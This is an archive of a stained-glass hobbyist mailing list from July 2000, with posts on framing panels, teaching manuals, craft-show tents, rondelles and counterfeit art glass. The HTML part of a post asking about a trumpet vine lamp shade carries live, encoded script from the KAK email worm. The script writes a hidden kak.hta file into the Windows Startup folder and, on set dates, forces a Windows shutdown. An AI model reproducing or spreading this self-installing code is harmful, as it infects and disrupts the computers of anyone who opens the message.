<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Sincerely,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Michael Larson</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>President, Armstrong Glass =
Company&nbsp;=20
</FONT></DIV></BODY></HTML>

------=_NextPart_000_000A_01BFEB1F.0BDE6120--

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X-Path: gdi.net!shodge
From: Skip Hodge <shodge@gdi.net>
To: DeeDee1008@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: frame
Date: Tue, 11 Jul 2000 10:17:54 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

DeeDee1008@aol.com wrote:
> 
> I have done a panel in copper foil with much reinforcement throughout the
> window.  The size is approx 2 ft by 5 ft and weighs 25 lbs.  I have framed it
> in 1/2 inch zinc came and hope that will be strong enough to hold its weight.
>  However, I have been recommended to frame it in wood, as well.  Is this
> really necessary?  I do not want
> to, but I aslo do not want to repair it should it fall someday.  I feel the
> piece is well  made and strong, and expect the wood frame is not required.
> But...... what do you think??? Thanks to all for helping by responding.  Dee
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
Hi Dee,

Well if your window ever "falls" you will still need to repair it.
Just kidding....
However I believe framing a piece in wood does help to prevent some
types of damage. It is a size that I feel could surely benefit from the
additional strength of a wood frame. 2 x 5 I probably would have chosen
3/4" zinc. 
Note: If you decide to add the wood frame make sure the chanel in the
wood is at least as deep as the face of the zinc came. (1/2")

I can't spell
Skip
Southern Exposure Staine Glass Supply, Inc.
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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: teaching classes
Date: Mon, 10 Jul 00 18:09:08 
Message-ID: <200007110011.SAA28218@mantis.privatei.com>
Precedence: bulk

I must've missed this one.. anyone care to give me the title and where to get it..?

Candy

On Mon, 10 Jul 2000 18:31:53 +0100, Toby wrote:

>Peggy Johnsen (who also graces Bungi with her presence) wrote a 
>s.g. teaching manual  a couple of years ago, aimed at those who 
>teach, It is a thoughtful and comprehensive manual from an 
>experienced teacher, gracious and generous enough to want to 
>pass on good teaching.
>Well worth getting!

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From: "Candy" <candy@ghostman.com>
To: "bungi" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: NG:::RE: posting replies to the list; Was: getting old
Date: Mon, 10 Jul 00 18:02:21 
Message-ID: <200007110005.SAA27686@mantis.privatei.com>
Precedence: bulk

To everyone:

OF COURSE, it's "your view" or "your opinion".. WHY ELSE would I care to read this 
list??

And I like to split my responses.. some have been discussed ad nauseum and that's 
when I respond to the person.. also, sometimes it's just feather smoothing, and that's 
best done privately..

Glass answers, yes, make them public!

Discretion is a great "key".. use it wisely and well..

Candy

(IMHO!!) (LOL!!!)


On Mon, 10 Jul 2000 12:46:53 +0200, Kira Mason wrote:

>>I am fairly new to this list and to stained glass and I would like to share
>>my view.  Mind you it is MY view.
snip
>>Just my humble opinion folks.
>>Nancy Mullins
>>----- Original Message -----
>>From: "Shari" <shigbee@mtcon.net>
>>To: "Bungi" <glass@bungi.com>
>>Sent: Friday, July 07, 2000 10:49 AM
>>Subject: Re: posting replies to the list; Was: getting old
>>
>>
>>> Sorry but I disagree. There doesn't seem to be any value in having a
>glass
>>> list where all you read are the questions. I figure I can always learn
>>some
>>> new tricks and pick up a neat new tip here and there, but that is
>>impossible
>>> when the replies are sent to the questioner only.
>>>
>>snip

>>> its value, in my opinion. We've certainly cut out any non-glass chatter,
>>but
>>> have also cut out all glass-related info.
>>>
>>> If anyone cared or wondered what my vote would be, I'd vote to change it
>>> back to all replies go to the list. JMHO...

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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: NG to James
Date: Mon, 10 Jul 00 17:57:39 
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Precedence: bulk

Hi James, Happy Birthday!!

Small unmarked bills? You mean like from all my credit cards?? I'd be glad to send 
them on!!

Candy

On Mon, 10 Jul 2000 02:36:27 -0700 (PDT), James Garner wrote:

>O' yeah Happy Birthday to me.  Anyone who would like to send lots of cash in small 
unmarked bills let me know I will rush my address (Small town cops do get paid to 
good)I'm 27 years old and don't feel a day older than .....   well    2

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From: "Candy" <candy@ghostman.com>
To: "glassart@ime.net" <glassart@ime.net>,
Content-Type: text/plain; charset="us-ascii"
Subject: Entry form now online
Date: Mon, 10 Jul 00 20:04:00 
Message-ID: <200007110206.UAA06458@mantis.privatei.com>
Precedence: bulk

Hey again,

The entry form is now online, as a .pdf file. This way it looks exactly like the ones we 
sent out.

So, if students or friends or just anyone wants one and you're out, pass them this URL:
www2.privatei.com/gaf/00showltr.htm

I have tested it from several computers and it works on all mine. The file is quite large 
(it's a graphic) but it prints fairly well, even in B&W...

Candy

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From owner-glass Tue Jul 11 08:56:46 2000
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X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Bloomington Artist Thanks: SGA info
Date: Mon, 10 Jul 2000 14:03:07 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
Precedence: bulk


Thanks all who replied.

I will keep all addys and info that you supplied for future reference.
It also helps if you have seen the work (craftsmanship, professionalism,
experience etc.) of artists that you recommend to me as I take that into
great consideration when replying to potential clients.

The SGA only out sources when we don't have an artist member located in
the specific area that the client requests and we don't charge a
referral fee to you if you are hired for a job via the SGA.

Pam

--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Tue Jul 11 08:59:30 2000
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X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: NG: Elisabeth & bucket-fuls of margueritas
Date: Mon, 10 Jul 2000 13:44:37 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
Precedence: bulk

Elisabeth wrote: Right now, I now find myself being the perpetrator.
There are so
many of you I want to reach out to and hold hands with. We did
just that, face to face, hand in hand, sharing bits of glass, glass
cutting and loads of problems;  certainly sharing a day, a week,  a
meal,  a glass of wine, bucketful's of margaritas and many a late
night / early morning bunch of fun and laughter.

Nothing has really changed;
there is just one or two of us who have to step back for a little
while, catch breath, catch up on the mondanity of Life before we
can dive back in there again.>snip




I'll just say this when I met Elisabeth. She didn't have bucketful's of
margaritas but I had my share...midori margaritas to be exact no salt :)
E has bucketful's of wine. I think she could drink 3 bottles and you
would never know it. Rumor had it that after a night full of wine and
chat Elisabeth took a walk round midnight or was it 1 in the morning
Elisabeth?.....she came back from her walk proudly displaying a huge
bouquet of balloons found near a car lot....hehehehe.... I loved her,
think of her and the other bungians that I met in Seattle often.

And I do agree nothing has changed. No matter who posts or doesn't post
they are usually still in the background..you would be surprised who
reads bungi and never posts :) Everyone needs to step back from time to
time, take a breather and gather creative energy. The last thing I made
was a birdbath and I threw in jewels here and there. That is all the
glass I wanted to see. Now I'm ready to do something on a larger scale.
Glass is fun to me because I don't rely upon it for my yearly income but
I do rely upon my other two jobs to keep me afloat :)


Pam




Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Tue Jul 11 09:29:39 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: <glass@bungi.com>
Subject: Re: frame
Date: Tue, 11 Jul 2000 07:50:39 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Dee,
If it is just going to hang, not supported in a widow jam or something, I
would have used 1" zinc, but I don't think I would trust just the 1/2 zinc
or to be honest even the 1" zinc with a 2x5 panel that weighs 25 pounds.
Personally I would frame around the zinc with wood.  But I do my own wood
framing.  You have spent a lot of time on this  and you sure don't what your
piece of art to give way at one of the 4 corners and drop.  Also something
to think about, are you going to solder rings on to hang by and will just
rings soldered on hold that much weight?  I have had a 14"x56" sidlight that
I had hanging
give way at where the ring was soldered to the panel, lucky for me I noticed
when I walked by and it was hanging from just one corner.  I had moved it
from the window to hanging for a while, and now it is back installed in the
sidelight.
Eljay
-----Original Message-----
From: DeeDee1008@aol.com <DeeDee1008@aol.com>
To: glass@bungi.com <glass@bungi.com>
Date: Tuesday, July 11, 2000 1:52 AM
Subject: frame


>I have done a panel in copper foil with much reinforcement throughout the
>window.  The size is approx 2 ft by 5 ft and weighs 25 lbs.  I have framed
it
>in 1/2 inch zinc came and hope that will be strong enough to hold its
weight.
> However, I have been recommended to frame it in wood, as well.  Is this
>really necessary?  I do not want
>to, but I aslo do not want to repair it should it fall someday.  I feel the
>piece is well  made and strong, and expect the wood frame is not required.
>But...... what do you think??? Thanks to all for helping by responding.
Dee
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Tue Jul 11 09:38:51 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Skip Hodge" <shodge@gdi.net>,
Subject: Re: Get together
Date: Mon, 10 Jul 2000 21:38:19 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Skip, I am in north east Fl. but if you have a gathering down your way, I
would love to be included.  I just had surgery and am not doing any driving
yet, but you keep me in mind.
Linda Jo
Jacksonville, Fl.

-----Original Message-----
From: Skip Hodge <shodge@gdi.net>
To: Glass@bungi.com <Glass@bungi.com>
Date: Monday, July 10, 2000 6:35 PM
Subject: Get together


>Hello Fellow Bungians,
>
>It occurs to me that there must be quite a few Bungians in the Central
>Florida area. I am thinking that we should have a get together one of
>these evenings before summer ends. Anybody interested can send me an
>e-mail and I will co-ordinate the time and place.
>
>Skip
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Tue Jul 11 09:46:04 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: question about tents ... not totally glass related
Date: Mon, 10 Jul 2000 18:46:50 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

We just haul along some cinder blocks.  We loop a bungi cord (the ones we use
to strap our exhibit to the car) through the block and attach to the tent.  It
works fine for normal type weather,  Frankly, if it is windy enough to worry
about the tent, I'd be A LOT more worried about the glass I was exhbiting.
(Once did a show where the wind came up from UNDER a table and flipped the
table but just fluttered the tent, so I tie down the tables, too, whenever I
can.)

A few weeks ago, there was a big outdoor antiques show going on just up the
road from here.  Violent thunderstorms hit.  The BIG tents the promoter put up
were ripped apart.  People were injured.  Merchandise was destroyed.  The
vensors had wanted to leave as the skies got darker.  The promoter asked them
to stay.  (This storm came up quickly, so I doubt anyone could have been fully
packed up.  Also, there was some suspition of funnel clouds in the tops of the
trees.)

So the moral?  You can protect yourself against gentle breezes.  Anything
else...look to your own safety.

Dorothy



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From owner-glass Tue Jul 11 10:13:37 2000
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From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: question about tents ... not totally glass related
Date: Mon, 10 Jul 2000 18:46:50 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

We just haul along some cinder blocks.  We loop a bungi cord (the ones we use
to strap our exhibit to the car) through the block and attach to the tent.  It
works fine for normal type weather,  Frankly, if it is windy enough to worry
about the tent, I'd be A LOT more worried about the glass I was exhbiting.
(Once did a show where the wind came up from UNDER a table and flipped the
table but just fluttered the tent, so I tie down the tables, too, whenever I
can.)

A few weeks ago, there was a big outdoor antiques show going on just up the
road from here.  Violent thunderstorms hit.  The BIG tents the promoter put up
were ripped apart.  People were injured.  Merchandise was destroyed.  The
vensors had wanted to leave as the skies got darker.  The promoter asked them
to stay.  (This storm came up quickly, so I doubt anyone could have been fully
packed up.  Also, there was some suspition of funnel clouds in the tops of the
trees.)

So the moral?  You can protect yourself against gentle breezes.  Anything
else...look to your own safety.

Dorothy



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From owner-glass Tue Jul 11 10:13:37 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: teaching classes
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Tue, 11 Jul 2000 12:03:50 +0000
Message-ID: <200007111601.MAA23418@alpha.nad.adelphia.net>
Precedence: bulk

Oh! I know that! <smile>  The book's 

 Basic Stained Glass: 
 A Competency Based Instructor's Manual 
 by Peggy W. Johnsen
 [AIAP, 1997] 80 pages, illustrated, Complete tools,
 equipment & materials, glass cutting techniques,
 soldering, finishing and framing in Four Easy Lessons.
 Includes six patterns for students. $18.00

Available from http://www.aiap.com/johnsen.htm

Albert

Albert Lewis
Art in Architecture Press



> I must've missed this one.. anyone care to give me the title and
> where to get it..?
> 
> Candy
> 
> On Mon, 10 Jul 2000 18:31:53 +0100, Toby wrote:
> 
> >Peggy Johnsen (who also graces Bungi with her presence) wrote a
> >s.g. teaching manual  a couple of years ago, aimed at those who
> >teach, It is a thoughtful and comprehensive manual from an
> >experienced teacher, gracious and generous enough to want to pass
> >on good teaching. Well worth getting!
----
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From owner-glass Tue Jul 11 10:13:40 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: Colonial angels
Date: Mon, 10 Jul 2000 12:52:03 +0200
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Just a thought for inspiration, Why not go to a Christan Bookstore?  They
always have lots of stuff and definately, LOTS OF ANGELS!!  Really big right
now in those circles, collecting everything angel.
Kira
-----Mensaje original-----
De: Family Account <shad@mail2.nai.net>
Para: glass@bungi.com <glass@bungi.com>
Fecha: viernes 7 de julio de 2000 23:30
Asunto: Colonial angels


>I have been asked to design an angel for a 1750's colonial.  I'd like to
>do something sort of in period...but, you know, no images come to mind.
>When I think of 1750's churches in New England, I don't see angels, but
>open spaces with plain windows and steeples...no angels.  Gravestones
>have this stylized death's head on them.  I've been to our small library
>to do some research but to no avail (lots of pictures of those plain but
>lovely churches, though).  Anyone have any thoughts?  There is, of
>course, the art of Europe from that period.  And I am trying to reach
>the lady who wants this to pick her brain a bit more.
>
>Meanwhile, I've been designing and making suncatchers to get ahead for
>the fall.  And I have some gifts to make, while I have the time.  (I did
>a design of my niece's kitten, for example).
>
>Dorothy
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


----
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From owner-glass Tue Jul 11 10:14:10 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Skip Hodge" <shodge@gdi.net>,
Subject: Re: Get together
Date: Mon, 10 Jul 2000 21:38:19 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Skip, I am in north east Fl. but if you have a gathering down your way, I
would love to be included.  I just had surgery and am not doing any driving
yet, but you keep me in mind.
Linda Jo
Jacksonville, Fl.

-----Original Message-----
From: Skip Hodge <shodge@gdi.net>
To: Glass@bungi.com <Glass@bungi.com>
Date: Monday, July 10, 2000 6:35 PM
Subject: Get together


>Hello Fellow Bungians,
>
>It occurs to me that there must be quite a few Bungians in the Central
>Florida area. I am thinking that we should have a get together one of
>these evenings before summer ends. Anybody interested can send me an
>e-mail and I will co-ordinate the time and place.
>
>Skip
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


----
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From owner-glass Tue Jul 11 10:14:50 2000
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From: "Doris L. Anastasion" <anastasion@olynet.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Trumpet vine
Date: Tue, 11 Jul 2000 09:51:10 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0039_01BFEB1D.8A9283E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All.  I am going to make the 18 inch Trumpet Vine Lamp =
Shade.(Oddesey) and It has areas that they say "to be filled with solder =
and sculpted as branches"  Does this mean that I put the solder directly =
on the form?  It's going to use a lot of solder in my opinion.  As I've =
not done this before, I really am nervous about it.  And how would you =
"Sculpt" it?  Thanx for any ideas.   Doris


------=_NextPart_000_0039_01BFEB1D.8A9283E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hi All.&nbsp; I am going to make the 18 inch Trumpet =
Vine Lamp=20
Shade.(Oddesey) and It has areas that they say "to be filled with solder =
and=20
sculpted as branches"&nbsp; Does this mean that I put the solder =
directly on the=20
form?&nbsp; It's going to use a lot of solder in my opinion.&nbsp; As =
I've not=20
done this before, I really am nervous about it.&nbsp; And how would you =
"Sculpt"=20
it?&nbsp; Thanx for any ideas.&nbsp;&nbsp; Doris</FONT></DIV>
<DIV>
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style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

------=_NextPart_000_0039_01BFEB1D.8A9283E0--

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From owner-glass Tue Jul 11 11:56:48 2000
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	for rglass-42; Tue, 11 Jul 2000 11:37:06 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: gdi.net!shodge
From: Skip Hodge <shodge@gdi.net>
To: Gailchat1@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Rondelles
Date: Tue, 11 Jul 2000 14:27:35 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Gailchat1@aol.com wrote:
> 
> Forgive me if this is a duplicate posting, not sure if first one went thru...
> 
> I am going to be incorporating 4 rondelles into a victorian design. I have
> never used rondelles before.  My husband and I disagree as to which side is
> the right (best)side of the rondelle.  We are making a panel with English
> Muffle glass, and I want the rondelle's non apexed side facing out...my
> husband thinks it should go apex side out.  We are using antique rondelles,
> and the nippled apex seems very rough. I think the rondelle is best viewed
> from the flat side.  Can you advise?
> Thanks.......
> Ronda
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
No matter which side you choose you have a 50/50 chance of getting it
right.
Skip
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From owner-glass Tue Jul 11 12:27:49 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: slonet.org!edupjohn
From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: James Garner <officerjqg@go.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Pre-Cast Garden Stones
Date: Tue, 11 Jul 2000 11:07:22 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi James:  Indeed you are on the right track; however, you mix your
unsanded grout with the grout admixture (available where grout is sold)
and "butter pat" the glass with the grout...no additional glue is needed.
Once glass is in place grout and then call it a day.  Peggy

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From owner-glass Tue Jul 11 13:32:27 2000
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	for rglass-42; Tue, 11 Jul 2000 13:00:51 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Mike Larson <armstrongglass@mindspring.com>
Subject: Re: Proudly Manufactured in the USA
Date: Tue, 11 Jul 2000 20:12:21 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Mr Larsen,
        Thank you for informing us of the piracy going on.  Thank you
for letting us know that some suppliers aid and abet this practice.  
        Is there any method of holding these suppliers to account for
their deception?

Steve Richard

In message <1970Jan1.000.0@?>, Mike Larson <armstrongglass@mindspring.co
m> writes
>This is a multi-part message in MIME format.
>
>------=_NextPart_000_000A_01BFEB1F.0BDE6120
>Content-Type: text/plain;
>       charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>Hi Bob, Moya, Candy and all others that have been following the glass =
>discussion on where Armstrong Glass is manufactured.  100% of Armstrong =
>Glass is very proudly made in Jasper, Georgia.  The Chinese have been =
>knocking off our glass now for three years.  Not only are they copying =
>our designs, they use our same stock numbers.  They are in fact, =
>"pirating" Armstrong Glass. Our glass is not being imitated because it =
>is easy to duplicate, but rather, because our colors are so unique.  The =
>Chinese have not learned why our glass has such a brilliant sheen so it =
>is easy to spot a fake.=20
>
>Somebody made a comment about what difference it makes whether the glass =
>is manufactured in China or manufactured in the U.S.  If the U.S. glass =
>companies stop making glass, what you see is what you get, forever!  The =
>Chinese imitate but never inovate. =20
>
>The U.S. glass manufacturers spend hundreds of thousands of dollars =
>every year on advertising and promotion, teaching, R & D, customer =
>service and design.  The Chinese simply copy the design, pay their labor =
>$1.00 per day and it's off to the races. This glass is poorly annealed, =
>often does not even transmit light, and is very inconsistent in color =
>and mix.
>
>Regarding Bob's comment on seeing crates of "Armstrong Glass, Made in =
>China", you were not seeing things.  These cases of glass clearly show =
>the bold faced deception that is going on in our industry.  And by the =
>way, there are wholesalers that stock this glass with no mention of it's =
>origin.
>
>I hope this helps clear up any confusion.  Feel free to e-mail me or =
>call us at (706) 692-7660.  For a complete list of our hard working and =
>trusted wholesalers check our distributor list at =
>www.armstrongglass.com. =20
>
>Sincerely,
>Michael Larson
>President, Armstrong Glass Company =20
>
>------=_NextPart_000_000A_01BFEB1F.0BDE6120
>Content-Type: text/html;
>       charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
><HTML><HEAD>
><META content=3D"text/html; charset=3Diso-8859-1" =
>http-equiv=3DContent-Type>
><META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
><STYLE></STYLE>
></HEAD>
><BODY bgColor=3D#ffffff>
><DIV><FONT face=3DArial size=3D2>Hi Bob, Moya, Candy and all others that =
>have been=20
>following the glass discussion on where Armstrong Glass&nbsp;is=20
>manufactured.&nbsp; 100% of Armstrong Glass is very proudly made in =
>Jasper,=20
>Georgia.&nbsp;&nbsp;The Chinese have been knocking off our glass now for =
>three=20
>years.&nbsp; Not only are they&nbsp;copying our designs, they use our =
>same stock=20
>numbers.&nbsp; They are in fact, "pirating" Armstrong Glass. Our glass =
>is not=20
>being imitated because it is easy to duplicate, but rather, because our =
>colors=20
>are so unique.&nbsp; The Chinese have not learned why our glass has such =
>a=20
>brilliant sheen so it is easy to spot a fake. </FONT></DIV>
><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
><DIV><FONT face=3DArial size=3D2>Somebody made a comment about what =
>difference it=20
>makes whether the glass is manufactured in China or manufactured in the=20
>U.S.&nbsp; I</FONT><FONT face=3DArial size=3D2>f the U.S. glass =
>companies stop=20
>making glass, what you see is what you get, forever!&nbsp; The Chinese =
>imitate=20
>but never inovate.&nbsp; </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=3DArial size=3D2>The U.S. glass manufacturers spend =
>hundreds&nbsp;of=20
>thousands of dollars every year on advertising and promotion, =
>teaching,&nbsp;R=20
>&amp; D, customer service and design.&nbsp; The Chinese simply copy the =
>design,=20
>pay their labor $1.00 per day and&nbsp;it's off to the races. This glass =
>is=20
>poorly annealed, often does not even transmit light, and is very =
>inconsistent in=20
>color and mix.</FONT></DIV>
><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
><DIV><FONT face=3DArial size=3D2>Regarding Bob's comment on seeing =
>crates of=20
>"Armstrong Glass, Made in China",&nbsp;you were not seeing=20
>things.&nbsp;&nbsp;These cases of glass&nbsp;clearly show the bold faced =
>
>deception that is going on in our industry.&nbsp; And by the way, there =
>are=20
>wholesalers that stock this glass&nbsp;with no mention of it's=20
>origin.</FONT></DIV>
><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
><DIV><FONT face=3DArial size=3D2>I hope this helps clear up any =
>confusion.&nbsp;=20
>Feel free to e-mail me or call us at (706) 692-7660.&nbsp; For a =
>complete list=20
>of our hard working and trusted wholesalers check our distributor list =
>at <A=20
>href=3D"http://www.armstrongglass.com">www.armstrongglass.com</A>.&nbsp;&=
>nbsp;</FONT></DIV>
><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
><DIV><FONT face=3DArial size=3D2>Sincerely,</FONT></DIV>
><DIV><FONT face=3DArial size=3D2>Michael Larson</FONT></DIV>
><DIV><FONT face=3DArial size=3D2>President, Armstrong Glass =
>Company&nbsp;=20
></FONT></DIV></BODY></HTML>
>
>------=_NextPart_000_000A_01BFEB1F.0BDE6120--
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Tue Jul 11 13:39:56 2000
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	for rglass-42; Tue, 11 Jul 2000 13:16:12 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: OREGON.UOREGON.EDU!soleim
From: Sherrie Soleim <soleim@OREGON.UOREGON.EDU>
To: Glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: NG an opinion on (non)relevant posts and thread changes
Date: Mon, 10 Jul 2000 10:43:23 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@daver.bungi.com>>
Organization: oregon.uoregon.edu
Precedence: bulk

I agree.  It only takes a moment to change the subject line to reflect the content of the
message being sent and is very helpful to those of us who don't have hours to spend
sifting through e-mail every day.  ( I currently have 156 unread Bungi messages in my
inbox and am trying to sort thru those of interest to me and those worthy of the delete
key.)

Sherrie.

CncptThnkr@aol.com wrote:

> Hello all, first off, hope everyone's having a great summer and getting lots
> of glass work done....hopefully soon I'll join you in accomplishing
> something.  <g>
>
> Second, I have always thought NG worked great, always happy to use it, but
> where I come across a problem is people who don't change the subject line
> when they are starting a new thread.  It doesn't help to use the delete key
> if the subject in the body of the e mail doesn't match the subject in the
> heading.  I've wanted to delete all the e mail about blank e mail but in the
> past I've missed the beginning of some interesting threads because they were
> buried in with things I didn't want to read.
>
> My request is you not only use NG when it is "non glass" but also remember to
> change the subject line if you are responding to a post and also starting a
> new thread, sending more than one e mail, each one responding to a different
> thread, is helpful.....I have appreciated those of you who have taken the
> time to do so in the past.
>
> I am spellcheckerless today, please excuse any errors and btw I don't get
> blank e mail but I do get some with shocking red backgrounds!!!
>
> ia
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
<><><><><><><><><><><><><><><>
Sherrie L. Soleim
